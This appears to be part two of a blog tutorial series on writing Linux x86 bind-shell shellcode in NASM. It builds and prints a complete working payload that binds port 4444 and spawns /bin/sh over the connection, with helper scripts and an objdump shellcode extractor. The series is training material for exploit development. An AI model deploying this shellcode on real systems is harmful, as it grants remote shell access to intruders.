In Part 1: Disassembling and Understanding Shellcode we disassembled some shellcode and found out the steps required to create a bind shell. In Part 2, we will take each of these 6 steps, understand them and write assembly instructions to call them.

The steps we need to follow to create our bind shell are:

  1. Socket
  2. Bind
  3. Listen
  4. Accept
  5. Dup2
  6. Execve

We are going to spend a lot of time working with NASM (The Netwide Assembler). To install NASM, run the following command:

sudo apt-get install nasm

We are also going to need some kernel headers for researching the calls.

sudo apt-get install linux-headers-$(uname -r)

Once that is completed, create a file called bindshell.nasm and paste the following code into it:

global _start

section .text
_start:

        ; Start of our shellcode

That should give us enough to get started, lets start working on the first call.

Step 1: Socket

Calling up the man page for socket gives us the following information:

socket() creates an endpoint for communication and returns a descriptor.
Usage:
  int socket(int domain, int type, int protocol);

We can see that the socket requires 3 arguments to be passed to it:

Argument Type Description
Domain Integer The protocol family which will be used for communication
Type Integer The communication semantics of the socket
Protocol Integer The particular protocol to be used with the socket

Lets start with the socket call itself. Searching on Google shows that the socket is a sub function of the sys_socketcall system call. We’ll first need to find out what the value of this system call is to be able to use it in our assembly code.

Take a look at the following header file so see what the system call value is for sys_socketcall.

less /usr/include/i386-linux-gnu/asm/unistd_32.h

In that file we can see the following:

#define __NR_socketcall 102

Great, now we know our first value.

sys_socketcall = 102

However, we don’t yet know the sub functions for the sys_socketcall.

Take a look in the net.h file and you’ll find the complete list of sub calls for sys_socketcall.

less /usr/src/linux-headers-3.2.0-4-common/include/linux/net.h
#define SYS_SOCKET       1      /* sys_socket(2)        */
#define SYS_BIND         2      /* sys_bind(2)          */
#define SYS_CONNECT      3      /* sys_connect(2)       */
#define SYS_LISTEN       4      /* sys_listen(2)        */
#define SYS_ACCEPT       5      /* sys_accept(2)        */
#define SYS_GETSOCKNAME  6      /* sys_getsockname(2)   */
#define SYS_GETPEERNAME  7      /* sys_getpeername(2)   */
#define SYS_SOCKETPAIR   8      /* sys_socketpair(2)    */
#define SYS_SEND         9      /* sys_send(2)          */
#define SYS_RECV         10     /* sys_recv(2)          */
#define SYS_SENDTO       11     /* sys_sendto(2)        */
#define SYS_RECVFROM     12     /* sys_recvfrom(2)      */
#define SYS_SHUTDOWN     13     /* sys_shutdown(2)      */
#define SYS_SETSOCKOPT   14     /* sys_setsockopt(2)    */
#define SYS_GETSOCKOPT   15     /* sys_getsockopt(2)    */
#define SYS_SENDMSG      16     /* sys_sendmsg(2)       */
#define SYS_RECVMSG      17     /* sys_recvmsg(2)       */
#define SYS_ACCEPT4      18     /* sys_accept4(2)       */
#define SYS_RECVMMSG     19     /* sys_recvmmsg(2)      */
#define SYS_SENDMMSG     20     /* sys_sendmmsg(2)      */

We can see from this file that:

socket    = 1
bind      = 2
listen    = 4
accept    = 5

These will be the values we are going to use for each of the different sub calls.

In summary we know now that the system call for socket is under the sys_socketcall system call. The value for sys_socketcall is 102.

We also know that the value of the sys_socket sub function is 1. So we can start piecing the system call together.

sys_socketcall[102].socket[1](domain, type, protocol)

Lets find the values for these arguments.

int domain

Back in the man page for socket we can see the explanation of domain as:

The domain argument specifies a communication domain; this selects
the protocol family which will be used for communication.  These
families are defined in sys/socket.h.
AF_UNIX, AF_LOCAL   Local communication
AF_INET             IPv4 Internet protocols
AF_INET6            IPv6 Internet protocols
AF_IPX              IPX - Novell protocols
AF_NETLINK          Kernel user interface device
AF_X25              ITU-T X.25 / ISO-8208 protocol
AF_AX25             Amateur radio AX.25 protocol
AF_ATMPVC           Access to raw ATM PVCs
AF_APPLETALK        Appletalk
AF_PACKET           Low level packet interface

We’ll be using IPv4 for our bind shell so we’ll set our domain to AF_INET. To find the integer value for AF_INET we use more Google-Fu and we find this:

/* Supported address families. */
#define AF_UNSPEC      0
#define AF_UNIX        1     /* Unix domain sockets           */
#define AF_INET        2     /* Internet IP Protocol          */
#define AF_AX25        3     /* Amateur Radio AX.25           */
#define AF_IPX         4     /* Novell IPX                    */
#define AF_APPLETALK   5     /* Appletalk DDP                 */
#define AF_NETROM      6     /* Amateur radio NetROM          */
#define AF_BRIDGE      7     /* Multiprotocol bridge          */
#define AF_AAL5        8     /* Reserved for Werner's ATM     */
#define AF_X25         9     /* Reserved for X.25 project     */
#define AF_INET6       10    /* IP version 6                  */

The integer of AF_INET for our domain argument will be 2

int type

The socket has the indicated type, which specifies the communication
semantics.  Currently defined types are:

SOCK_STREAM     Provides sequenced, reliable, two-way, connection-
                based byte streams.  An out-of-band data transmission
                mechanism may be supported.
SOCK_DGRAM      Supports datagrams (connectionless, unreliable
                messages of a fixed maximum length).
SOCK_SEQPACKET  Provides a sequenced, reliable, two-way connection-
                based data transmission path for datagrams of fixed
                maximum length; a consumer is required to read an
                entire packet with each input system call.
SOCK_RAW        Provides raw network protocol access.
SOCK_RDM        Provides a reliable datagram layer that does not
                guarantee ordering.
SOCK_PACKET     Obsolete and should not be used in new programs; see
                packet(7).

SOCK_STREAM appears top be the best choice here for our IPv4 bind shell.

More Google-Fu

/* Socket types. */
#define SOCK_STREAM       1        /* stream (connection) socket     */
#define SOCK_DGRAM        2        /* datagram (conn.less) socket    */
#define SOCK_RAW          3        /* raw socket                     */
#define SOCK_RDM          4        /* reliably-delivered message     */
#define SOCK_SEQPACKET    5        /* sequential packet socket       */
#define SOCK_PACKET       10       /* linux specific way of          */
                                   /* getting packets at the dev     */
                                   /* level.  For writing rarp and   */
                                   /* other similar things on the    */
                                   /* user level.                    */

Our integer of SOCK_STREAM for our socket type will be 1.

int protocol

Again, consult the man page for sockets.

The protocol specifies a particular protocol to be used with the
socket.  Normally only a single protocol exists to support a
particular socket type within a given protocol family, in which case
protocol can be specified as 0.  However, it is possible that many
protocols may exist, in which case a particular protocol must be
specified in this manner.  The protocol number to use is specific to
the “communication domain” in which communication is to take place;
see protocols(5).

Find the protocol in the header file.

less /usr/src/linux-headers-3.2.0-4-common/include/linux/in.h
/* Standard well-defined IP protocols.  */
enum {
  IPPROTO_IP      = 0,         /* Dummy protocol for TCP                    */
  IPPROTO_ICMP    = 1,         /* Internet Control Message Protocol         */
  IPPROTO_IGMP    = 2,         /* Internet Group Management Protocol        */
  IPPROTO_IPIP    = 4,         /* IPIP tunnels (older KA9Q tunnels use 94)  */
  IPPROTO_TCP     = 6,         /* Transmission Control Protocol             */
  IPPROTO_EGP     = 8,         /* Exterior Gateway Protocol                 */
  IPPROTO_PUP     = 12,        /* PUP protocol                              */
  IPPROTO_UDP     = 17,        /* User Datagram Protocol                    */
  IPPROTO_IDP     = 22,        /* XNS IDP protocol                          */
  IPPROTO_DCCP    = 33,        /* Datagram Congestion Control Protocol      */
  IPPROTO_RSVP    = 46,        /* RSVP protocol                             */
  IPPROTO_GRE     = 47,        /* Cisco GRE tunnels (rfc 1701,1702)         */
  IPPROTO_IPV6    = 41,        /* IPv6-in-IPv4 tunnelling                   */
  IPPROTO_ESP     = 50,        /* Encapsulation Security Payload protocol   */
  IPPROTO_AH      = 51,        /* Authentication Header protocol            */
  IPPROTO_BEETPH  = 94,        /* IP option pseudo header for BEET          */
  IPPROTO_PIM     = 103,       /* Protocol Independent Multicast            */
  IPPROTO_COMP    = 108,       /* Compression Header protocol               */
  IPPROTO_SCTP    = 132,       /* Stream Control Transport Protocol         */
  IPPROTO_UDPLITE = 136,       /* UDP-Lite (RFC 3828)                       */
  IPPROTO_RAW     = 255,       /* Raw IP packets                            */
  IPPROTO_MAX
};

For our IPv4 bind shell the best choice would be IPPROTO_IP which has the value of 0.

If we add these new parameters to the socket call, we get the following call.

sys_socketcall[102 => eax].socket[1 => ebx](2, 1, 0 => ecx)

Seems simple enough, lets get these values into the registers.

Open up the bindshell.nasm file and start creating our assembly code.

First, we need to clear out any values that may exist in eax or ebx. We can do this by xoring the register with itself. We’ll also add comments to the shellcode as we go so we know what we are doing.

global _start            

section .text
_start:

        ; Start of our shellcode
        ; sys_socket (creating a socket for our connection)

        xor eax, eax    ; clear the value of eax 
        xor ebx, ebx    ; clear the value of ebx 

Write the values of the sys_socketcall and sys_socket into the registers.

mov eax, 102            ; set eax to 102 (sys_socketcall)
mov ebx, 1              ; set ebx to 1 (sys_socket)

To build the parameters, there are two things we need to keep in mind. Firstly, we need to pass them onto the stack in reverse order. This is so when the system reads the location it is reading in the correct order.

Secondly, we cannot push or mov a value of 0 as that will automatically create a null byte (\x00) which will kill our shellcode. Instead we’ll create a null in ecx by xoring it with itself and then pushing that value to the stack.

Lets push these parameters onto the stack.

xor ecx, ecx     ; clear the value of ecx
push ecx         ; push a null onto the stack (IPPROTO_IP = 0)
push 1           ; push a 1 to the stack (SOCK_STREAM = 1)
push 2           ; push a 2 to the stack (AF_INET = 2)

Now that our arguments are on the stack, we need to mov the location of them into ecx. Since esp always points to the top of the stack, we can just move esp into ecx and then ecx will point to our argument location on the stack.

mov ecx, esp        ; push the location of our arguments into ecx

Now we are ready to call the sys_socket function. We call a function using a int 0x80 (\x80).

Before we do that, we need to remember that in the man page for socket, the socket file descriptor will be returned to us. We are going to need this descriptor in other calls so we need to save it somewhere. We can put the value into edx for now.

int 0x80           ; call sys_socket
mov edx, eax       ; save the returned value to edx (socket file descriptor)

That’s it for the socket call, on to the bind call.

Step 2: Bind

Now that we’ve called the sys_socket and received the socket file descriptor, lets start building our sys_bind.

The man page for bind shows us:

When a socket is created with socket(2), it exists in a name space
(address family) but has no address assigned to it.  bind() assigns
the address specified by addr to the socket referred to by the file
descriptor sockfd.  addrlen specifies the size, in bytes, of the
address structure pointed to by addr.  Traditionally, this operation
is called “assigning a name to a socket”.

The usage for bind is:

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

We already know that this is part of sys_socketcall so the value for eax will be 102.

We also know from earlier that sys_bind has the value 2 which we will use in ebx.

Lets look at the 3 arguments it requires though:

Argument Type Description
sockfd Integer The socket file descriptor which we got from our first socket call
sockaddr Integer The socket address consisting of protocol, port, ip address
addrleng Integer The IP address length

int sockfd

We already have the socket file descriptor saved in edx so we know this value.

int sockaddr

The actual structure passed for the addr argument will depend on the address family.

The sockaddr structure is defined as:

struct sockaddr {
  sa_family_t   sa_family;
  char          sa_data[14];
}

The purpose of this structure is to cast the structure pointer passed in addr in order to avoid compiler warnings.

When we convert this to plain “english”, we need to pass it 3 things:

  • protocol
  • port
  • ip address

These 3 arguments need to be placed together on the stack and then the location of these needs to be passed to the sys_bind call.

protocol

The protocol we are using is AF_INET which if you recall is IPv4 and has a value of 2.

port

We need to choose a port number to bind to our socket and pass this value in hex to the second argument. Finding integer in hex is something we’ll need to do frequently so lets create a script to do it for us.

Create a file called int2hex.py and paste the following code into it:

#!/usr/bin/python
import sys

print hex(int(sys.argv[1]))

Make the file executable chmod +x int2hex.py and then run it, passing the desired port as an argument:

./int2hex.py 4444

This will take the desired port number and return its hex value:

0x115c

If we convert this to little endian, we’ll end up with:

\x5c\x11

which can also be represented as

0x5c11

ip address

The last parameter we need to pass is the IP Address. Since we want to listen on any address we’ll use the INADDR_ANY argument which has a value of 0.

Combining these produces our final value for sockaddr as:

(2, \x5x\x11, 0)

addrlen

The last argument needed for our sys_bind call is the address length. Since we’re using IPv4, this will be 16.

In summary, our sys_socket call now looks like this:

sys_sockcall[102 => eax].sys_bind[2 => ebx](edx, (2, \x5x\x11, 0), 16)[ => ecx]

Lets add these new values to our assembly code.

Start by clearing out eax.

xor eax, eax    ; clear the value of eax

Next lets push our 3 arguments that make up sockaddr onto the stack in reverse order.

push eax           ; push eax to the stack since it's null (INADDR_ANY = 0)
push WORD 0x5C11   ; push our port number to the stack (Port = 4444)
push WORD 2        ; push protocol argument to the stack (AF_INET = 2)

Now that we have these 3 values sitting on the stack, lets store their location in ecx using esp

mov ecx, esp       ; move value of esp into ecx, the location of our sockaddr arguments

Lets start the final set of the bind arguments. First, we need to push the addrlen argument

push 16            ; push addrlen to stack (addrlen = 16)

Now push the location of our sockaddr argument to the stack.

push ecx           ; push ecx to stack (ecx = location of our sockaddr arguments)

Finally push the sockfd stored in edx to the stack.

push edx           ; push edx (sockfd value stored in edx)

We now have all the arguments stored on the stack, so we need to populate the eax, ebx and ecx values.

xor eax, eax       ; clear value of eax
xor ebx, ebx       ; clear value of ebx
mov eax, 102       ; move value of 102 into eax (sys_sockcall = 102)
mov ebx, 2         ; move value of 2 into eax (sys_bind = 2)
mov ecx, esp       ; move the arguments into ecx

That should do it, lets call the sys_bind.

int 0x80           ; call sys_bind

That’s it, the bind has been called and port 4444 is now bound to our socket.

The next step is to start listening on that port.

Step 3: Listen

From this point on, you should know how to look up calls in the man pages so we won’t be going into as much information as before.

Let’s take a look at the listen() system call:

listen() marks the socket referred to by sockfd as a passive socket,
that is, as a socket that will be used to accept incoming connection
requests using accept(2)

Usage:
  int listen(int sockfd, int backlog);

The sys_listen call, value 4, takes two arguments:

Argument Type Description
sockfd Integer The socket file descriptor
backlog Integer The maximum length to which the queue of pending connections for sockfd may grow

We know that the sockfd is currently stored in edx.

We don’t want to set a maximum queue length so we’ll make this value 0

Our call then should look like this:

sys_sockcall[102 => eax].sys_listen[4 = ebx](sockfd[edx], backlog[0])[ => ecx];

Let’s create the assembly instructions.

xor eax, eax         ; clear value of eax 
push eax             ; push backlog argument to stack (backlog = 0)
push edx             ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp         ; store the location of our arguments into ecx
mov eax, 102         ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx         ; clear value of ebx to 0
mov ebx, 4           ; sets the value 4 which is the value for "listen" in sys_socketcall
int 0x80             ; call sys_listen

Great, now we should have a listener on port 4444 which is connected to our socket. One last step before we test if it is actually accepting connections.

Step 4: Accept

Let’s take a look at the accept() system call:

The accept() system call is used with connection-based socket types
(SOCK_STREAM, SOCK_SEQPACKET).  It extracts the first connection
request on the queue of pending connections for the listening socket,
sockfd, creates a new connected socket, and returns a new file
descriptor referring to that socket.

Usage:
  int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);`

The accept call takes 3 parameters:

Argument Type Description
sockfd Integer Our socket file descriptor still stored in edx
addr Struct The IP address we want to accept connections from
addrlen Size_t The IP address length we want to accept connections from

These should be familiar as we’ve used some previously in other calls.

Seeing as we want to accept connections from anywhere, we’ll leave these as 0.

So our call should look like this:

sys_socketcall[102 => eax].sys_accept[5 => ebx](sockfd[edx], addr[0], addrlen[0])[ => ecx];

Build this into assembly instructions

xor eax, eax         ; clear value of eax
push eax             ; push addrlen argument to stack (addrlen = 0)
push eax             ; push addr argument to stack (addr = 0)
push edx             ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp         ; move the location of our arguments into ecx
mov eax, 102         ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx         ; clear value of ebx
mov ebx, 5           ; sets the value 5 which is the value for sys_accept
int 0x80             ; call sys_accept

In the accept man page, it says that sys_accept call will return a value to us, we’ll need to save this value for the next step.

mov edx, eax          ; save the return value from sys_accept to edx (client file descriptor)

Lets compile and test our code. At this point our bindshell.nasm file should look like this:

global _start            

section .text
_start:

        ; Start of our shellcode

        ; sys_socket (creating a socket for our connection)

        xor eax, eax       ; clear the value of eax 
        xor ebx, ebx       ; clear the value of ebx 
        mov eax, 102       ; set eax to 102 (sys_socketcall)
        mov ebx, 1         ; set ebx to 1 (sys_socket)
        xor ecx, ecx       ; clear the value of ecx
        push ecx           ; push a null onto the stack (IPPROTO_IP = 0)
        push 1             ; push a 1 to the stack (SOCK_STREAM = 1)
        push 2             ; push a 2 to the stack (AF_INET = 2)
        mov ecx, esp       ; push the location of our arguments into ecx
        int 0x80           ; call sys_socket
        mov edx, eax       ; save the returned value to edx (socket file descriptor)

        ; sys_bind (bind a port number to our socket)

        xor eax, eax       ; clear the value of eax
        push eax           ; push eax to the stack as it's null (INADDR_ANY = 0)
        push WORD 0x5C11   ; push our port number to the stack (Port = 4444)
        push WORD 2        ; push protocol argument to the stack (AF_INET = 2)
        mov ecx, esp       ; mov value of esp into ecx, the location of our sockaddr arguments
        push 16            ; push addrlen to stack (addrlen = 16)
        push ecx           ; push ecx to stack (ecx = location of our sockaddr arguments)
        push edx           ; push edx (sockfd value stored in edx)
        xor eax, eax       ; clear value of eax
        xor ebx, ebx       ; clear value of ebx
        mov eax, 102       ; move value of 102 into eax (sys_sockcall = 102)
        mov ebx, 2         ; move value of 2 into eax (sys_bind = 2)
        mov ecx, esp       ; move the arguments into ecx
        int 0x80           ; call sys_bind

        ; sys_listen (listen on our created socket)

        xor eax, eax       ; clear value of eax 
        push eax           ; push backlog argument to stack (backlog = 0)
        push edx           ; push the sockfd argument to stack (sockfd stored in edx)
        mov ecx, esp       ; store the location of our arguments into ecx
        mov eax, 102       ; sets the value 102 which is the syscall number for sys_socketcall
        xor ebx, ebx       ; clear value of ebx to 0
        mov ebx, 4         ; sets the value 4 which is the value for "listen" in sys_socketcall
        int 0x80           ; call sys_listen

        ; sys_accept (accept connections on our created port)

        xor eax, eax       ; clear value of eax
        push eax           ; push addrlen argument to stack (addrlen = 0)
        push eax           ; push addr argument to stack (addr = 0)
        push edx           ; push the sockfd argument to stack (sockfd stored in edx)
        mov ecx, esp       ; move the location of our arguments into ecx
        mov eax, 102       ; sets the value 102 which is the syscall number for sys_socketcall
        xor ebx, ebx       ; clear value of ebx
        mov ebx, 5         ; sets the value 5 which is the value for sys_accept
        int 0x80           ; call sys_accept
        mov edx, eax       ; save the return value from sys_accept to edx (client file descriptor)

We will be compiling .nasm files a lot so lets create a script to save time.

Create a new file called nassemble.sh with the following code:

#!/bin/bash

nasm -f elf32 -o $1.o $1.nasm
ld -z execstack -o $1 $1.o

Make the file executable and run it while passing it our file name. make sure NOT to include the .nasm extension as it may destroy your file.

./nassemble.sh bindshell

Lets run our bindshell file and see if it creates a listener.

./bindshell
netstat -antp

Fantastic, we have a bind listening on port 4444 listening on any IP address. So far so good. Lets get this bind to start talking to our shell.

Step 5: Dup2

You know the drill…

dup2() makes newfd be the copy of oldfd, closing newfd first if
necessary.

Usage:
  int dup2(int oldfd, int newfd);`

We are going to need some file descriptors for our socket to send and receive the responses into our execve call. We will use sys_dup2 to perform this task.

sys_dup2 carries the system call value of 63.

It takes 2 arguments:

Argument Type Description
oldfd Integer The old file descriptor
newfd Integer The new file descriptor

The old file descriptor will be the value we just returned after executing our sys_accept call which we stored in edx.

The new file descriptor will be the ones we need to create.

To get shell functionality, We will need to create the following 3 descriptors:

Descriptor Value
stdin 0
stdout 1
stderr 2

Our call for sys_dup2 will look like this

sys_dup2[63 => eax](oldfd[edx => ebx], newfd => ecx);

Build the assembly.

xor eax, eax          ; clear value of eax
mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
mov ebx, edx          ; move the stored oldfd argument to ebx (currently stored in edx)
xor ecx, ecx          ; set ecx to 0 for stdin
int 0x80              ; call sys_dup2

That should have created our new stdin file descriptor, now to create the stdout and stderr by incrementing ecx and recalling the sys_dup2

xor eax, eax          ; clear value of eax
mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
inc ecx               ; increment ecx to 1 for stdout
int 0x80              ; call sys_dup2
xor eax, eax          ; clear value of eax
mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
inc ecx               ; increment ecx to 2 for stderr
int 0x80              ; call sys_dup2

Great, onto the last step…execve!

Step 6: Execve

One more time…

execve() executes the program pointed to by filename.  filename must
be either a binary executable, or a script.

Usage:
  int execve(const char *filename, char *const argv[], char *const envp[]);`

Execve takes 3 arguments:

Argument Type Description
filename Char The filename of the executable we want to run
argv[] Array The arguments to pass to the executable
envp[] Array The array of environment strings passed to the executable as environment variables

For filename, we will use a simple /bin/sh, however, to keep our code neat, let’s instead use /bin//sh

This will keep our code at 8 chars which will line up neatly on the stack and essentially makes no difference to the operating system.

We are not going to be passing any arguments or environment settings to the executable so we will just push NULL to the stack for these two arguments.

Our call should look something like this:

sys_execve[11 => eax](filename[/bin//sh location on stack => ebx], argv[][0 => ecx], envp[0 =>edx]);

To get the hex value of your /bin//sh create a new file called text2stack.py with the following contents:

#!/usr/bin/python

import sys
import struct

a = struct.unpack('<L', str(sys.argv[1]))

print hex(a[0])

Run the code to pull out two sets of 4 chars.

./text2stack.py /bin
./text2stack.py //sh

Build the last part of your assembly instructions using these new values returned by the script.

xor ecx, ecx         ; clear value of ecx, args argument = 0
push ecx             ; push a null to the stack to terminate our filename
push 0x68732f2f      ; push //sh to the stack (second part of /bin//sh)
push 0x6e69622f      ; push /bin to the stack (first part of /bin//sh
mov ebx, esp         ; set ebx with the location of our file name on the stack
mov edx, ecx         ; move null value for envp argument into edx
xor eax, eax         ; clear value of eax
mov eax, 11          ; sets the value 11 which is the syscall number for sys_execve
int 0x80             ; call sys_execve

Our completed code should now look like this:

global _start            

section .text
_start:

        ; Start of our shellcode

        ; sys_socket (creating a socket for our connection)

        xor eax, eax       ; clear the value of eax 
        xor ebx, ebx       ; clear the value of ebx 
        mov eax, 102       ; set eax to 102 (sys_socketcall)
        mov ebx, 1         ; set ebx to 1 (sys_socket)
        xor ecx, ecx       ; clear the value of ecx
        push ecx           ; push a null onto the stack (IPPROTO_IP = 0)
        push 1             ; push a 1 to the stack (SOCK_STREAM = 1)
        push 2             ; push a 2 to the stack (AF_INET = 2)
        mov ecx, esp       ; push the location of our arguments into ecx
        int 0x80           ; call sys_socket
        mov edx, eax       ; save the returned value to edx (socket file descriptor)

        ; sys_bind (bind a port number to our socket)

        xor eax, eax       ; clear the value of eax
        push eax           ; push eax to the stack as it's null (INADDR_ANY = 0)
        push WORD 0x5C11   ; push our port number to the stack (Port = 4444)
        push WORD 2        ; push protocol argument to the stack (AF_INET = 2)
        mov ecx, esp       ; mov value of esp into ecx, the location of our sockaddr arguments
        push 16            ; push addrlen to stack (addrlen = 16)
        push ecx           ; push ecx to stack (ecx = location of our sockaddr arguments)
        push edx           ; push edx (sockfd value stored in edx)
        xor eax, eax       ; clear value of eax
        xor ebx, ebx       ; clear value of ebx
        mov eax, 102       ; move value of 102 into eax (sys_sockcall = 102)
        mov ebx, 2         ; move value of 2 into eax (sys_bind = 2)
        mov ecx, esp       ; move the arguments into ecx
        int 0x80           ; call sys_bind

        ; sys_listen (listen on our created socket)

        xor eax, eax       ; clear value of eax 
        push eax           ; push backlog argument to stack (backlog = 0)
        push edx           ; push the sockfd argument to stack (sockfd stored in edx)
        mov ecx, esp       ; store the location of our arguments into ecx
        mov eax, 102       ; sets the value 102 which is the syscall number for sys_socketcall
        xor ebx, ebx       ; clear value of ebx to 0
        mov ebx, 4         ; sets the value 4 which is the value for "listen" in sys_socketcall
        int 0x80           ; call sys_listen

        ; sys_accept (accept connections on our created port)

        xor eax, eax       ; clear value of eax
        push eax           ; push addrlen argument to stack (addrlen = 0)
        push eax           ; push addr argument to stack (addr = 0)
        push edx           ; push the sockfd argument to stack (sockfd stored in edx)
        mov ecx, esp       ; move the location of our arguments into ecx
        mov eax, 102       ; sets the value 102 which is the syscall number for sys_socketcall
        xor ebx, ebx       ; clear value of ebx
        mov ebx, 5         ; sets the value 5 which is the value for sys_accept
        int 0x80           ; call sys_accept
        mov edx, eax       ; save the return value from sys_accept to edx (client file descriptor)

        ; sys_dup2 (create file descriptors for stdin, stdout and stderr so we can see the responses from execve)

        xor eax, eax          ; clear value of eax
        mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
        mov ebx, edx          ; move the stored oldfd argument to ebx (stored in edx)
        xor ecx, ecx          ; set ecx to 0 for stdin
        int 0x80              ; call sys_dup2
        xor eax, eax          ; clear value of eax
        mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
        inc ecx               ; increment ecx to 1 for stdout
        int 0x80              ; call sys_dup2
        xor eax, eax          ; clear value of eax
        mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
        inc ecx               ; increment ecx to 2 for stderr
        int 0x80              ; call sys_dup2

        ; sys_execve (execute /bin//sh upon connecting and pass the responses back to connector)

        xor ecx, ecx         ; clear value of ecx, args argument = 0
        push ecx             ; push a null to the stack to terminate our filename
        push 0x68732f2f      ; push //sh to the stack (second part of /bin//sh)
        push 0x6e69622f      ; push /bin to the stack (first part of /bin//sh
        mov ebx, esp         ; set ebx with the location of our file name on the stack
        mov edx, ecx         ; move null value for envp argument into edx
        xor eax, eax         ; clear value of eax
        mov eax, 11          ; sets the value 11 which is the syscall number for sys_execve
        int 0x80             ; call sys_execve

That should be the entire bind shell done. Lets assemble this and test it.

./nassemble.sh bindshell
./bindshell

Check if port 4444 is listening:

netstat -antp

Finally, connect to the listener and see if we have a shell:

nc -nv 127.0.0.1 4444
id

WIN, we have a working bind shell 100% written in assembly.

Lets take a look at our shellcode.

Create a file called getshell.sh with the following code:

#!/bin/bash

objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Make the file executable and pass your executable ‘bindshell’ as an argument:

./getshell bindshell

Uh OH! Even though our shellcode worked, it’s full of null bytes (\x00) which is bad news for us.

In Part 3: Cleaning and Optimising Shellcode we will take a look at how to clean our shellcode and remove all the null bytes as well as look at some ways to reduce it’s size.

I hope you have learned a bit from reading this tutorial and feel more comfortable with assembly language as well as have some neat scripts to speed up your coding.

Keep on sploiting,

norsec0de